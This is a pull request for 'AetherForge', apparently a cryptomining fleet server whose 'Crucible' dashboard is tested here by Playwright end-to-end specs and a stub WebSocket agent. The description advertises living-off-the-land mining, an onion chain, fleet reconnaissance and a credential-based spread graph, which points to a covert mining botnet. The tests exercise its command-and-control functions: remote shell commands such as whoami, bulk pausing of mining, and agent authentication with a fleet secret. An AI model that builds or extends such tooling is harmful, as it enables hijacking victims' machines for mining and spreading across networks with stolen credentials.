Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/e2e/crucible-bulk.spec.ts

@@ -0,0 +1,71 @@
+import { expect, test } from '@playwright/test';
+import { fetchFleetSecret, loginToDashboard } from './fixtures';
+import {
+  connectStubAgent,
+  E2E_STUB_AGENT_HOSTNAME,
+  E2E_STUB_AGENT_ID,
+} from './stub-agent';
+
+const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
+
+let serverReady = false;
+let disconnectStub: (() => void) | null = null;
+
+test.describe('Crucible bulk command', () => {
+  test.beforeAll(async ({ request }) => {
+    try {
+      const res = await request.get('/api/v1/health', { timeout: 5_000 });
+      serverReady = res.ok();
+    } catch {
+      serverReady = false;
+    }
+    if (!serverReady) return;
+
+    const fleetSecret = await fetchFleetSecret(request);
+    disconnectStub = await connectStubAgent(baseURL, fleetSecret);
+    // Allow agent_online + DB upsert to settle before UI tests.
+    await new Promise((r) => setTimeout(r, 500));
+  });
+
+  test.afterAll(() => {
+    disconnectStub?.();
+    disconnectStub = null;
+  });
+
+  test.beforeEach(async ({ page }) => {
+    test.skip(
+      !serverReady,
+      'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
+    );
+    await loginToDashboard(page);
+    await page.getByRole('link', { name: /Crucible/i }).click();
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
+    await expect(
+      page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME }),
+    ).toBeVisible({ timeout: 15_000 });
+  });
+
+  test('bulk pause on selected online node fires POST bulk-command', async ({ page }) => {
+    const card = page.locator('.crucible-node-card').filter({ hasText: E2E_STUB_AGENT_HOSTNAME });
+    await expect(card.locator('.cn-status-dot.on')).toBeVisible({ timeout: 15_000 });
+    await card.click();
+    await expect(page.getByText(/1 selected/)).toBeVisible();
+    await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
+
+    const bulkRequest = page.waitForRequest(
+      (req) =>
+        req.method() === 'POST' && req.url().includes('/api/v1/agents/bulk-command'),
+    );
+
+    await page
+      .locator('.crucible-actions-card')
+      .getByRole('button', { name: 'Pause', exact: true })
+      .click();
+
+    const request = await bulkRequest;
+    expect(request.postDataJSON()).toEqual({
+      agent_ids: [E2E_STUB_AGENT_ID],
+      action: 'pause',
+    });
+  });
+});

server/web/e2e/crucible-command.spec.ts

@@ -0,0 +1,70 @@
+import { expect, test } from '@playwright/test';
+import { fetchFleetSecret, loginToDashboard } from './fixtures';
+import {
+  connectStubAgent,
+  E2E_STUB_AGENT_HOSTNAME,
+  E2E_WHOAMI_RESPONSE,
+} from './stub-agent';
+
+const baseURL = process.env.AETHERFORGE_URL || 'http://127.0.0.1:8989';
+
+let serverReady = false;
+let disconnectStub: (() => void) | null = null;
+
+test.describe('Crucible remote command', () => {
+  test.beforeAll(async ({ request }) => {
+    try {
+      const res = await request.get('/api/v1/health');
+      serverReady = res.ok();
+    } catch {
+      serverReady = false;
+    }
+    if (!serverReady) return;
+
+    const fleetSecret = await fetchFleetSecret(request);
+    disconnectStub = await connectStubAgent(baseURL, fleetSecret);
+    // Allow agent_online + DB upsert to settle before UI tests.
+    await new Promise((r) => setTimeout(r, 500));
+  });
+
+  test.afterAll(() => {
+    disconnectStub?.();
+    disconnectStub = null;
+  });
+
+  test.beforeEach(async ({ page }) => {
+    test.skip(
+      !serverReady,
+      'Requires live E2E server (test-suite phase 8 on :18989 or AETHERFORGE_URL)',
+    );
+    await loginToDashboard(page);
+    await page.getByRole('link', { name: /Crucible/i }).click();
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
+    await expect(page.getByText(E2E_STUB_AGENT_HOSTNAME)).toBeVisible({ timeout: 15_000 });
+  });
+
+  test('whoami on selected online node shows terminal output', async ({ page }) => {
+    await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
+    await expect(page.getByText(new RegExp(`→ 1 node.*${E2E_STUB_AGENT_HOSTNAME}`))).toBeVisible();
+
+    await page.getByRole('button', { name: 'whoami' }).click();
+
+    const terminal = page.locator('.crucible-terminal');
+    await expect(terminal.getByText('whoami')).toBeVisible({ timeout: 10_000 });
+    await expect(terminal.getByText(E2E_WHOAMI_RESPONSE)).toBeVisible({ timeout: 15_000 });
+  });
+
+  test('exec echo via master terminal shows output', async ({ page }) => {
+    await page.getByText(E2E_STUB_AGENT_HOSTNAME).click();
+    await page.getByRole('button', { name: 'CMD', exact: true }).click();
+
+    const input = page.locator('.crucible-term-input');
+    await expect(input).toBeEnabled();
+    await input.fill('echo crucible-e2e-ping');
+    await page.getByRole('button', { name: 'SEND' }).click();
+
+    const terminal = page.locator('.crucible-terminal');
+    await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
+    await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
+  });
+});

server/web/e2e/fixtures.ts

@@ -1,4 +1,4 @@
-import { expect, type Page } from '@playwright/test';
+import { expect, type APIRequestContext, type Page } from '@playwright/test';
 
 /** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
 export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
 /** Seed this into the server data dir as users.json before first start (see tests/README.md). */
 export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
 
+export function e2eAuthHeaders(): Record<string, string> {
+  const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
+  return {
+    Authorization: `Basic ${token}`,
+    'X-AetherForge-Client': 'dashboard',
+  };
+}
+
+/** Reads fleet_secret from live server config (generated on first server start). */
+export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
+  const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
+  if (!res.ok()) {
+    throw new Error(`config fetch failed: ${res.status()}`);
+  }
+  const body = (await res.json()) as { server?: { fleet_secret?: string } };
+  return body.server?.fleet_secret ?? '';
+}
+
 export async function loginToDashboard(page: Page): Promise<void> {
   await page.goto('/');
   await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });

server/web/e2e/pages.spec.ts

@@ -12,10 +12,15 @@ test.describe('Page smoke', () => {
     await expect(page.getByText('Machine Roster')).toBeVisible();
   });
 
-  test('Agents renders Fleet Roster', async ({ page }) => {
-    await page.getByRole('link', { name: /Fleet Roster/i }).click();
-    await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
-    await expect(page.getByText(/NODES/i)).toBeVisible();
+  test('Crucible renders node roster', async ({ page }) => {
+    await page.getByRole('link', { name: /Crucible/i }).click();
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
+    await expect(page.getByText(/NODE ROSTER/i)).toBeVisible();
+  });
+
+  test('/agents redirects to Crucible', async ({ page }) => {
+    await page.goto('/agents');
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
   });
 
   test('Settings renders Calibrate', async ({ page }) => {

server/web/e2e/remote-actions.spec.ts

@@ -27,7 +27,6 @@ const OFFLINE_AGENT = {
 
 test.describe('Remote actions UI', () => {
   test.beforeEach(async ({ page }) => {
-    // AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
     await page.addInitScript((agent) => {
       const RealWS = WebSocket;
       const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
@@ -90,9 +89,6 @@ test.describe('Remote actions UI', () => {
       }
       await route.fulfill({ json: [OFFLINE_AGENT] });
     });
-    await page.route('**/api/v1/agents/*/stats*', async (route) => {
-      await route.fulfill({ json: [] });
-    });
     await page.route('**/api/v1/builds', async (route) => {
       await route.fulfill({ json: [] });
     });
@@ -107,22 +103,20 @@ test.describe('Remote actions UI', () => {
       });
     });
     await loginToDashboard(page);
-    await page.getByRole('link', { name: /Fleet Roster/i }).click();
-    await expect(page.getByRole('heading', { name: 'Fleet Roster' })).toBeVisible({ timeout: 10_000 });
+    await page.getByRole('link', { name: /Crucible/i }).click();
+    await expect(page.getByRole('heading', { name: 'Crucible' })).toBeVisible({ timeout: 10_000 });
     await expect(page.getByText('Offline Node')).toBeVisible({ timeout: 10_000 });
   });
 
-  test('detail panel disables remote actions for offline agent', async ({ page }) => {
+  test('mining ops disabled when only offline agent selected', async ({ page }) => {
     await page.getByText('Offline Node').click();
-    const detail = page.locator('.agent-detail');
-    await expect(detail.getByRole('heading', { name: 'Remote Control' })).toBeVisible({ timeout: 10_000 });
-    await expect(detail.getByRole('button', { name: 'Screenshot' })).toBeDisabled();
-    await expect(detail.getByRole('button', { name: 'Pause' })).toBeDisabled();
+    const pauseBtn = page.getByRole('button', { name: 'Pause', exact: true });
+    await expect(pauseBtn).toBeDisabled();
+    await expect(page.getByRole('button', { name: 'Resume', exact: true })).toBeDisabled();
   });
 
-  test('compact row remote actions disabled when offline', async ({ page }) => {
+  test('bulk pause disabled when offline agent selected via toolbar', async ({ page }) => {
     await page.getByText('Offline Node').click();
-    const compact = page.locator('.agent-list-item.expanded');
-    await expect(compact.getByRole('button', { name: 'Pause' })).toBeDisabled();
+    await expect(page.getByRole('button', { name: 'Pause' }).first()).toBeDisabled();
   });
 });

server/web/e2e/stub-agent.ts

@@ -0,0 +1,108 @@
+/**
+ * Minimal WebSocket agent for Playwright E2E against a live miner-server.
+ * Mirrors server/internal/api/integration_test.go connectAgentViaRouter flow.
+ */
+
+export const E2E_STUB_AGENT_ID = 'e2e-crucible-agent';
+export const E2E_STUB_AGENT_HOSTNAME = 'E2E-Crucible-Host';
+export const E2E_WHOAMI_RESPONSE = 'e2e-whoami-ok';
+
+type HubMessage = {
+  type: string;
+  payload: string | Record<string, unknown>;
+};
+
+function parsePayload(payload: HubMessage['payload']): Record<string, unknown> {
+  if (typeof payload === 'string') {
+    return JSON.parse(payload) as Record<string, unknown>;
+  }
+  return payload;
+}
+
+function wsAgentUrl(baseUrl: string): string {
+  const trimmed = baseUrl.replace(/\/$/, '');
+  return trimmed.replace(/^http/i, 'ws') + '/ws/agent';
+}
+
+function send(ws: WebSocket, type: string, payload: Record<string, unknown>): void {
+  ws.send(JSON.stringify({ type, payload }));
+}
+
+function replyCommand(ws: WebSocket, action: string, command: string): void {
+  let message = 'e2e-stub-ok';
+  if (action === 'resume') {
+    message = 'mining resumed';
+  } else if (command.trim().toLowerCase() === 'whoami') {
+    message = E2E_WHOAMI_RESPONSE;
+  } else if (command.trim().toLowerCase().startsWith('echo ')) {
+    message = command.trim().slice(5);
+  }
+  send(ws, 'command_result', { action, success: true, message });
+}
+
+/**
+ * Connect a stub agent that answers exec/powershell commands on the live server.
+ * Returns a cleanup function that closes the socket.
+ */
+export async function connectStubAgent(
+  baseUrl: string,
+  fleetSecret = '',
+): Promise<() => void> {
+  const ws = new WebSocket(wsAgentUrl(baseUrl));
+
+  await new Promise<void>((resolve, reject) => {
+    const timer = setTimeout(() => reject(new Error('stub agent ws open timeout')), 10_000);
+    ws.addEventListener('open', () => {
+      clearTimeout(timer);
+      resolve();
+    }, { once: true });
+    ws.addEventListener('error', () => {
+      clearTimeout(timer);
+      reject(new Error('stub agent ws connection failed'));
+    }, { once: true });
+  });
+
+  send(ws, 'auth', {
+    agent_id: E2E_STUB_AGENT_ID,
+    fleet_secret: fleetSecret,
+    hostname: E2E_STUB_AGENT_HOSTNAME,
+    version: '1.0.0-e2e',
+    platform: 'windows',
+    arch: 'amd64',
+    cpu_cores: 4,
+    memory_gb: 8,
+  });
+
+  await new Promise<void>((resolve, reject) => {
+    const timer = setTimeout(() => reject(new Error('stub agent auth timeout')), 10_000);
+    ws.addEventListener('message', (ev) => {
+      const msg = JSON.parse(String(ev.data)) as HubMessage;
+      if (msg.type !== 'auth_response') return;
+      clearTimeout(timer);
+      const body = parsePayload(msg.payload);
+      if (body.success !== true) {
+        reject(new Error(`stub agent auth rejected: ${JSON.stringify(body)}`));
+        return;
+      }
+      resolve();
+    }, { once: true });
+  });
+
+  ws.addEventListener('message', (ev) => {
+    let msg: HubMessage;
+    try {
+      msg = JSON.parse(String(ev.data)) as HubMessage;
+    } catch {
+      return;
+    }
+    if (msg.type !== 'command') return;
+    const payload = parsePayload(msg.payload);
+    const action = String(payload.action ?? '');
+    const command = String(payload.command ?? '');
+    replyCommand(ws, action, command);
+  });
+
+  return () => {
+    ws.close();
+  };
+}